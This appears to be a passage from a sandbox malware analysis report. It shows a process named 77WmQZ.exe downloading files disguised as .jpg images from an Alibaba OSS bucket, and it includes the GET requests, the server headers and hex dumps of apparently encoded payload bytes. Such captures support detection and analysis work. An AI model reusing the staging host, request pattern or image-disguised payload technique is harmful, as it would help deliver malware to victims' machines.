2025-01-15 03:23:16 UTC	4096	IN	Data Raw: be d0 2a 4c 19 64 3b ba 0e 94 4e 20 15 9f c2 86 3a 4f 85 f3 ee 58 cd 35 91 2f 10 20 88 da 3e c0 05 f8 22 66 79 44 a0 a8 56 48 12 18 4c 26 67 bf 07 bd 0e 8a 4f b7 62 4f 64 7b 46 88 30 02 d0 63 3b 3d 3c 2c 8c 51 e6 c8 ad 43 c5 a4 f1 40 de 99 5c b6 f7 dc 3c 7d 03 cf d9 bc 50 d4 5c 1b dd e0 e1 e2 85 6d a9 c3 e7 80 7d cd 51 5d 8b 19 fb d4 7c 96 d7 f0 1c 7d 23 ef f9 3d bf d8 fd 3e b9 23 40 ea b3 f0 27 06 c6 ea 0b 81 ce 0f cf e6 d6 16 19 12 9a 03 7d 2b 37 16 c5 97 7f 38 15 f7 a1 1d 02 22 4b 1f a3 92 9d c1 35 82 21 2c 90 85 a7 9e 04 28 f5 b1 d9 e8 96 b1 29 17 fc ee 8c bf c7 80 28 0e ea b1 fb 7e 34 d7 f3 21 35 2f 26 43 09 73 42 b5 c9 ae 73 45 1e 38 5f c7 ea 8b e0 a7 ba f0 52 79 4f c7 e5 a4 8b dd 4b 28 03 3d a1 25 9f ac b6 97 e3 25 09 20 15 2d d1 f6 c6 3d 63 88 5a Data Ascii: *Ld;N :OX5/ >"fyDVHL&gObOd{F0c;=<,QC@\<}P\m}Q]\|}#=>#@'}+78"K5!,()(~4!5/&CsBsE8_RyOK(=%% -=cZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	64474	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:29 UTC	115	OUT	GET /FOM-52.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:29 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:29 GMT Content-Type: image/jpeg Content-Length: 5062442 Connection: close x-oss-request-id: 67872A3153726E39312B9B7D Accept-Ranges: bytes ETag: "70C21DA900796B279A09040B00953E40" Last-Modified: Mon, 18 Nov 2024 15:32:22 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 360383310743409046 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cMIdqQB5ayeaCQQLAJU+QA== x-oss-server-time: 14
2025-01-15 03:23:29 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: f5 f5 f3 fb ff fd f3 f5 f7 f5 f3 eb ef ed d3 d5 d7 d5 d3 dd bf a7 d3 d5 d3 d5 d3 2d 2f 2d 33 37 37 75 32 3d 3f 2d 33 35 27 35 33 2d 2f 3d 53 55 47 55 53 5d 5f 5d 53 45 57 55 53 11 b2 50 73 3f 77 75 73 f1 8d 4d 73 a9 77 75 73 6d 3f 17 53 b5 56 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 35 37 35 33 3d 0f 47 33 15 2c 35 33 2d 2f 2d d3 d5 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 f5 f7 f5 f3 fd ff fd f3 f5 f7 f5 f3 4d c9 97 d3 95 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 2d 1f 00 33 51 37 35 33 3d 3f 3d 33 35 37 35 33 2d 2f 2d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 43 1b 08 0b 01 77 75 73 1e cd 7c 73 75 67 75 73 6d 6f 6d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 15 37 35 53 13 4d 59 52 41 56 35 33 e5 a6 2d d3 d5 07 d4 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 Data Ascii: -/-377u2=?-35'53-/=SUGUS]_]SEWUSPs?wusMswusm?SVUS]_]SUWUS-/-35753=G3,53-/-M-3Q753=?=35753-/-SUWUS]_]SUWUSCwus\|sugusmomSUWUS]_]SUWUS-/-375SMYRAV53-
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: d1 7d e2 3a fb d9 7f 2d 5c 08 7e 89 cb e9 3a 78 19 d3 d3 54 a8 dd 3b c0 68 9c d3 da f6 a0 3f b8 09 85 13 9c b2 89 02 f5 bb 84 84 22 99 a1 5c eb db e4 e4 52 d7 a8 84 57 57 3d d3 53 dd 2c 15 fe 48 f8 17 59 7b 94 02 a5 74 75 f2 ab 6b 6d 53 55 5c 97 a4 8d b7 85 fd 1e 57 33 82 c4 fc f5 5b b3 98 02 7d b4 7b 18 33 b8 53 11 3f c4 e7 e4 99 d5 df 7a 12 6b f1 4b ab 5b 8f 5c 2e 0b c5 75 fb 0d d3 04 7a 6d a5 1d 7f b1 af 41 46 fd 97 72 44 70 9c 6c f0 98 c6 38 c7 3a 4f 9d 67 53 5d 8b 18 45 fa 27 78 f9 2c e7 bf e3 1a 15 03 e6 d9 54 24 d6 03 bf c8 c3 24 e4 ff 0d e1 62 93 bb 32 d3 1d e0 a9 69 56 22 dc 79 04 9f f6 79 91 f4 ce a4 27 3e 2c 7c 5a 6b f3 21 34 52 4f 12 6e 97 99 0b 32 20 48 ad 50 69 a7 06 6a 8b 46 53 7e 44 e7 8d 63 9d 43 d3 36 f2 39 ef 4b 76 db 20 c3 a9 cd f4 6d Data Ascii: }:-\~:xT;h?"\RWW=S,HY{tukmSU\W3[}{3S?zkK[\.uzmAFrDpl8:OgS]E'x,T$$b2iV"yy'>,\|Zk!4ROn2 HPijFS~DcC69Kv m
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 5c f2 f3 f2 cb a8 4e 59 1d d2 ce 66 43 81 7b ff 67 50 14 99 fb dd 4e 2d 27 1b 3b 32 e1 3d 33 3a 03 dd 71 52 2f 3d b3 f7 09 f2 37 09 35 05 d2 00 d7 a7 6e a2 5b 79 ad 9f 96 b5 c6 ed 9d 66 b3 39 53 74 34 ad bd bc 93 b3 fe 71 77 93 a5 84 18 86 55 55 ba d3 80 5c 53 d8 33 71 4b ee a2 49 17 31 de 70 f5 2e 3f d4 1a 6a 27 35 da f8 c9 29 d3 3d 14 a5 d5 dd 18 d9 f7 74 d2 59 bd 8b 6e 18 e6 02 30 b1 d7 f9 6b fa e2 61 91 0a 36 8b dc 30 3b 0f bb de d3 87 8c 44 53 a3 22 0d aa a3 e3 13 d4 68 4b 97 1e 19 a2 5f ef 4f 5c 9c 5f 83 e2 ed 0e 6b 27 d3 18 e0 1f 57 f6 99 4e 8f 66 e4 e9 d6 c4 39 a5 10 98 95 71 d9 7b bc 71 9c 9c 89 c1 9c 58 3a b4 2b 66 f8 3c 84 df 79 ba 43 96 ad af 4f c6 9e 70 72 72 50 0a 98 50 ac 17 9d c0 f8 94 89 96 25 87 df 01 09 25 05 6d 3f 30 e0 76 8e 06 07 6c Data Ascii: \NYfC{gPN-';2=3:qR/=75n[yf9St4qwUU\S3qKI1p.?j'5)=tYn0ka60;DS"hK_O\_k'WNf9q{qX:+f<yCOprrPP%%m?0vl
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 20 fb 64 56 1a 91 6e df 20 2c 89 77 e2 e2 05 39 f2 8e f5 00 2d 52 de 02 01 04 ca 1a ce 6a d2 47 a1 f6 d0 fe 59 5f 7b be ab de 7e b5 7b 3a bc 5c 60 b4 14 c4 40 8e 4f 1b d3 50 30 ca 88 05 19 87 a6 6c 44 9c 38 ec 39 0e 59 7b 02 e0 f1 72 5e f5 ad 67 1a cd 99 59 ab ba 5e 62 b2 6a a6 96 6c 3f b0 7f 47 31 af f9 8d b1 e6 2c 04 cc 68 ac 20 ea 27 da fc 3a c9 29 c2 2d 03 bc 6d b2 50 da 12 b2 4e b6 81 da 21 4d f8 86 bb 30 9c c3 3a 42 00 c7 75 98 22 d5 e2 ed f7 ca c4 d5 09 a4 4e 82 04 d4 70 9c 5e b4 e3 6c a8 46 17 b5 25 7a 7b b5 5c 61 52 62 b2 1a fe 80 42 8b a0 8b af 69 84 9a 79 9f 8b 45 e0 9d 05 e1 0c 2d e5 1f 50 b8 e2 04 38 e7 df 32 37 b0 48 b1 af 82 c3 27 a8 d2 aa e1 62 df e9 b2 a2 12 f5 be 96 d6 5d 5d 4d 27 3a 1a 32 92 06 ad 9a 5b a6 db 14 ee 80 13 e1 a7 67 c5 71 Data Ascii: dVn ,w9-RjGY_{~{:\`@OP0lD89Y{r^gY^bjl?G1,h ':)-mPN!M0:Bu"Np^lF%z{\aRbBiyE-P827H'b]]M':2[gq
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 11 ac 16 c6 07 c4 9d 58 cd bb f4 f0 2b 3a 16 5a da 8a 33 81 27 42 b4 e4 1c b3 44 f3 eb 30 85 ed 13 a0 b4 46 35 68 06 83 59 2b bf 9b 83 03 97 31 12 15 bc 78 b1 76 b9 71 21 32 04 6b 81 a4 83 32 6f d6 69 98 27 df ea f9 0c 4f 4b 67 2f 4b 06 67 44 04 ef 78 60 0a 1a 43 f5 40 32 c2 0d 65 17 e5 08 cc a8 23 c1 d9 dd 70 6e 88 fc 7f 8d 81 6d 3c 8a c0 7c 8f 3d 55 13 79 ca fa 4f 7d 9f 59 1f ab 7a 58 3c b6 7e 0a 9f 2b 23 7e 6a 96 9f 38 e0 63 e5 5a 1a 32 5b b4 2a 2e c8 4b fc 30 60 d4 a2 2b 2b bb 40 ab 29 c3 47 5a c5 72 2a 67 22 60 fd 3a 2c 8c 49 94 ad 10 8c f4 1c aa 13 b2 44 63 6e 0d 2e 1c 0e 75 75 75 69 83 57 e4 6c 56 e5 7f 18 20 b8 d1 37 88 2a 1b 65 fe 57 b8 31 b5 b2 3c d8 01 d7 18 1c 20 44 7d d7 1c 11 ca 50 b1 34 77 e7 17 39 01 6f c0 e8 d3 94 88 53 e8 54 bc 80 c3 59 Data Ascii: X+:Z3'BD0F5hY+1xvq!2k2oi'OKg/KgDx`C@2e#pnm<\|=UyO}YzX<~+#~j8cZ2[.K0`++@)GZrg"`:,IDcn.uuuiWlV 7*eW1< D}P4w9oSTY
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: ef cc 4c d0 d3 09 06 21 8c 0a e4 fd 58 ee 29 db 81 82 6d c1 a4 30 bc c1 88 36 cd ab 62 b5 32 ab fb fb ec 20 e3 1f be d1 52 c7 7b bf 58 54 f3 43 f2 8d 0e 8b f7 13 10 a0 bb 4f ee a1 7a 27 8f 37 90 b6 93 e7 12 94 df b3 75 98 ed 5e 3f 26 b3 6b dc e4 4b ac 06 65 59 29 76 21 46 e6 59 50 ec 8d 23 41 76 61 bd b4 2a c0 a1 d0 00 7d 85 b9 46 a9 73 14 b0 38 5b 50 8e c5 4d 41 4e b1 33 ec 52 c8 9b 60 d6 75 f5 94 ee 23 f4 6f f6 e6 d2 e9 4d 56 be d7 e4 8f 26 6e aa 79 e5 e6 5e 13 6c 17 b6 e2 e2 11 f5 fe 7e 0b 44 9b c6 aa 3a f9 70 8c 7b bc 07 41 a6 db 37 9c 40 ed 30 d4 63 08 f2 34 c3 bc 19 00 1b 0e a0 05 0a d9 18 ea e0 fd 6c 8a 5d c5 2d 44 59 87 c8 6a f8 9f 94 42 5d b7 0d 78 f1 3b 58 f0 58 03 2c 94 05 87 6d 14 59 c3 c8 52 68 6d 20 54 3c df df dd d3 b3 5e da 3a d6 ef ef f3 Data Ascii: L!X)m06b2 R{XTCOz'7u^?&kKeY)v!FYP#Ava*}Fs8[PMAN3R`u#oMV&ny^l~D:p{A7@0c4l]-DYjB]x;XX,mYRhm T<^:
2025-01-15 03:23:29 UTC	4096	IN	Data Raw: 15 03 58 89 56 b4 b6 a2 ad 03 9c f1 67 d1 75 f3 e8 19 38 39 86 89 50 71 f6 9c 55 6e f0 3c 79 b6 4b a6 36 b9 b4 a2 ab 24 ae 39 77 96 dd 86 d0 fd 7d 97 cb 0d f0 c5 e3 02 f9 c1 52 24 d9 92 d5 0f ce ba 02 8d 60 9d a4 7e 46 0c f6 07 7e 6e 99 9f b7 49 61 ff 7c c2 1d c4 45 e2 10 ab 9d 5d f3 48 c7 32 f2 49 bd 7e 2c f3 14 b8 55 84 3b b6 cd f2 2c a2 4e c8 2f 6a 5f 90 af 64 33 93 34 22 de 67 0c 00 0a 07 58 6d 1d 91 a5 e8 77 57 3e 92 ad 64 db 25 db 5a a7 9e fb ee 37 1e bf 9f 1c 20 8f 58 83 8e 9c 9d 1a 84 f4 2f e8 b6 e9 fc 5c 14 cf 3d a8 20 c1 36 73 8b 6d ad fa 19 32 a5 19 e7 34 c8 51 2a b2 c7 6f 71 16 6b 1a c9 12 87 4a 5b 13 27 7e 0c 5d 42 3e 1f df 6d a6 94 82 5a 53 5e fd 07 49 a4 e3 fa f2 49 de ae 8b 50 62 d9 cf c2 ba 82 06 00 8f 34 6e 19 e8 d9 e4 90 5c e0 85 6f a3 Data Ascii: XVgu89PqUn<yK6$9w}R$`~F~nIa\|E]H2I~,U;,N/j_d34"gXmwW>d%Z7 X/\= 6sm24Q*oqkJ['~]B>mZS^IIPb4n\o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	64532	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:39 UTC	115	OUT	GET /FOM-53.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:39 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:39 GMT Content-Type: image/jpeg Content-Length: 366410 Connection: close x-oss-request-id: 67872A3B3D53853535C2029A Accept-Ranges: bytes ETag: "DA1D5EB665D3AAD523BE59415E6449ED" Last-Modified: Tue, 22 Oct 2024 14:47:51 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5641369857548672686 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 2h1etmXTqtUjvllBXmRJ7Q== x-oss-server-time: 33
2025-01-15 03:23:39 UTC	3549	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 Data Ascii: ```````````````````````````````````````````````````````````````
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 60 60 60 eb 25 68 30 9f 75 d0 14 62 70 e9 25 84 e3 1d 84 60 15 67 52 a0 89 a9 60 60 60 06 67 e5 4c a2 a0 c6 2b ed ac f1 5f b5 0c d4 a2 b0 c6 29 e5 4e 2b f5 44 2b e2 ac 2b a8 2b b1 29 f5 10 8a f0 6d a5 0c b0 6b ad 34 6b b1 a8 b2 1f f5 2c 94 e2 f0 63 18 1f 95 e7 d2 20 09 68 e0 e0 e0 67 e5 5c a1 a0 a0 a0 ca a4 2d e5 5c f0 ca a8 c8 5f 5f a0 a0 2b ed 74 2b f1 e8 f2 5f b5 08 d4 a2 70 e5 a0 15 59 a7 25 b8 61 60 60 60 a7 25 bc 40 df 62 60 a7 25 80 e8 73 60 60 0a 60 0a 60 ed 25 48 f0 ca a0 ca a0 ca ac 2d ed 78 f1 c8 a4 a0 a0 38 2b f5 74 2b e2 e8 f0 5f b5 00 d4 a2 b0 2b ed 34 26 a1 b3 e1 8a e0 8a e0 8a e0 6b b5 34 b2 88 69 f7 e0 f0 8a e0 8a e0 08 da 10 e0 e0 63 24 fc 2b ed 74 29 e1 e4 10 a1 2b 45 fd 62 a8 a0 f5 2b 4c 18 b8 6a a0 a0 48 9a a7 a1 a0 f6 f7 2b e5 a8 e9 Data Ascii: ```%h0ubp%`gR```gL+_)N+D+++)mk4k,c hg\-\__+t+_pY%a```%@b`%s````%H-x8+t+_+4&k4ic$+t)+Eb+LjH+
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 2c 9d 9f 9f 31 ed f5 f4 9e 9f 9f 32 88 1d 9d 60 60 e3 a4 70 ed e5 f4 9e 9f 9f 30 ed ed 10 5d 5f 5f f1 5f b5 30 d2 a2 b0 ca a0 c8 20 a0 a0 a0 ca a2 ca a0 ca a2 c8 a0 a0 a0 e0 c8 a0 4c a2 f0 1f f5 74 92 e2 f0 69 65 84 1d 1f 1f 63 5d 84 1d 1f 1f 1f 95 e7 d3 20 09 0a e0 e0 e0 8a e0 6d 35 cc 5d 5f 5f f2 2b e5 a8 f0 48 06 5c a0 a0 23 64 a4 2b ed ac 8b 68 23 49 a1 f1 2b f5 a8 f2 48 f1 9c 60 60 e3 a4 64 eb 2d 68 ed 34 61 61 32 eb e5 04 9d 9f 9f 30 9f 75 f8 12 62 70 eb ed 04 9d 5f 5f f1 5f b5 44 d2 a2 b0 c8 54 a1 a0 a0 5f b5 6c d2 a2 b0 ca a1 c8 8c 4c a2 b0 48 61 5c 5f 5f 63 24 e8 8a e0 88 b8 0c e2 f0 08 dd 1b e0 e0 63 24 e8 63 18 1f 94 d0 8a e0 8a e0 8a e0 6d 75 18 5e 5f 5f f2 c8 24 4c a2 b0 ca a0 5f b5 a0 d3 a2 b0 ca a0 01 68 ec a5 b0 f0 5f b5 3c d2 a2 b0 ca 60 Data Ascii: ,12``p0]___0 Ltiec] m5]__+H\#d+h#I+H``d-h4aa20ubp___DT_lLHa\__c$c$cmu^__$L_h_<`
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 44 45 46 47 48 49 4e 4e 4e 4a 4b 4e 8e 8e 8c 8d f5 2b 4c 21 4c 18 a2 a0 a0 29 2d e8 5d 5f 5f c8 ac 4e a2 b0 48 3e a3 a0 a0 23 64 a4 8a e0 88 f4 0e e2 f0 08 d5 0d 1f 1f 63 24 e8 8a e0 88 d0 0e e2 f0 08 c6 0d 1f 1f 63 24 e8 88 08 a3 a0 a0 5f b5 6c d2 a2 b0 c8 e8 4e a2 b0 5f b5 20 d2 a2 b0 c8 c0 4e a2 b0 5f b5 20 d2 a2 b0 c8 88 63 60 60 9f 75 ac 12 62 70 08 64 61 60 60 ed e5 98 9e 9f 9f 30 0a 60 9f 75 e4 12 62 70 a6 e5 24 5e 5f 5f eb 66 25 25 5e 5f 5f e5 66 25 26 5e 5f 5f f2 66 25 27 5e 5f 5f ee 66 25 28 5e 5f 5f a5 26 65 69 1e 1f 1f ac 26 65 6a 1e 1f 1f d3 26 65 6b 1e 1f 1f d2 26 65 6c 1e 1f 1f ce 26 65 6d 5e 5f 5f c4 66 25 2e 5e 5f 5f cc 66 25 2f 5e 5f 5f cc 66 25 30 5e 5f 5f a0 66 25 d4 5e 5f 5f e7 a6 Data Ascii: NNNNNNNNNNNNNNNNNNDEFGHINNNJKN+L!L)-]__NH>#dc$c$_lN_ N_ c``ubpda``0`ubp$^__f%%^__f%&^__f%'^__f%(^__&ei&ej&ek&el&em^__f%.^__f%/^__f%0^__f%^__
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 75 90 12 62 70 d8 61 60 60 60 8b 62 8b 80 eb 85 3d a3 35 eb 8c e3 8c 08 37 eb 25 68 e9 25 38 66 e5 3c a0 19 b8 a0 a0 a0 93 60 2d dd 3d 53 0b c6 0b 0a ca c4 2b ed 38 f1 2d f5 3c f2 48 92 2f e0 e0 63 24 ec 6d a5 7c b0 6b ed 28 09 e2 f0 b1 88 78 a5 e5 f0 6b b5 78 63 22 84 b2 08 df 1f 5f 5f 23 64 b0 93 60 ff 2b 45 fd 62 a4 a0 f5 2b 4c ca a0 01 68 49 a2 b0 f0 c8 38 e5 a5 b0 2b ed 68 31 88 7a 9f 9f 9f e3 a4 70 53 a0 3d a2 64 60 35 eb 8c 0a 60 c1 60 60 60 70 30 08 60 60 60 70 2b ed a8 f1 48 58 5e 5f 5f 23 64 b0 93 60 fd 62 a4 a0 f5 2b 4c 21 4c 80 a4 a0 a0 f7 c8 cc 4f a2 f0 1f f5 68 92 e2 f0 69 a5 18 d3 20 86 41 6a dd e5 f0 65 20 95 e5 09 a7 e1 e0 e0 d3 29 86 6b ed 2a 9d a5 b0 29 ed 5c 2b f5 5c 61 42 aa 29 f5 50 ca a0 c8 20 a0 a0 a0 ca a4 ca a0 ca a2 c8 a0 a0 60 Data Ascii: ubpa```b=57%h%8f<`-=S+8-<H/c$m\|k(xkxc"__#d`+Eb+LhI8+h1zpS=d`5````p0```p+HX^__#d`b+L!LOhi Aje )k*)\+\aB)P `
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 61 60 60 eb 25 68 30 ed ed 40 9d 9f 9f 31 88 00 df 60 60 e3 a4 6c a6 e5 f8 9e 9f 9f 60 d9 f9 a0 a0 a0 93 60 2d 1d 39 5e 5f 5f 53 0b c6 0b 0a ca a0 ca a0 ca a2 ca a0 ca a1 c8 a0 a0 a0 e0 6d 75 cc 1e 1f 1f b2 1f f5 74 92 e2 f0 69 65 70 1e 1f 1f 63 5d 70 1e 1f 1f 1f 95 e7 d3 20 09 11 a0 a0 a0 ca a0 2d 25 34 5e 5f 5f f0 2b ed ac 21 49 d0 a1 a0 a0 f1 2b f5 a8 21 62 d0 a1 a0 a0 f2 eb e5 f0 9e 9f 9f 30 9f 75 f8 12 62 70 e5 a0 15 67 53 a0 89 dc 60 60 60 eb ed f0 9e 9f 9f 31 9f b5 a4 ed a5 b0 2d 35 88 5d 5f 5f f2 48 c4 6c a0 a0 23 64 a4 25 60 d4 85 2d 25 88 5d 5f 5f f0 2d 6d cc 1e 1f 1f b1 88 6c 11 e2 f0 6d 75 78 1e 1f 1f b2 1f f5 b4 ad e5 f0 63 24 f0 0b f4 6d 65 cc 5e 5f 5f f0 2d 2d 38 5e 5f 5f f1 5f b5 68 d2 a2 b0 2b 35 84 5d 5f 5f 29 35 bc 5d 5f 5f 23 1d bc 9d Data Ascii: a``%h0@1``l``-9^__Smutiepc]p -%4^__+!I+!b0ubpgS```1-5]__Hl#d%`-%]__-mlmuxc$me^__--8^___h+5]__)5]__#
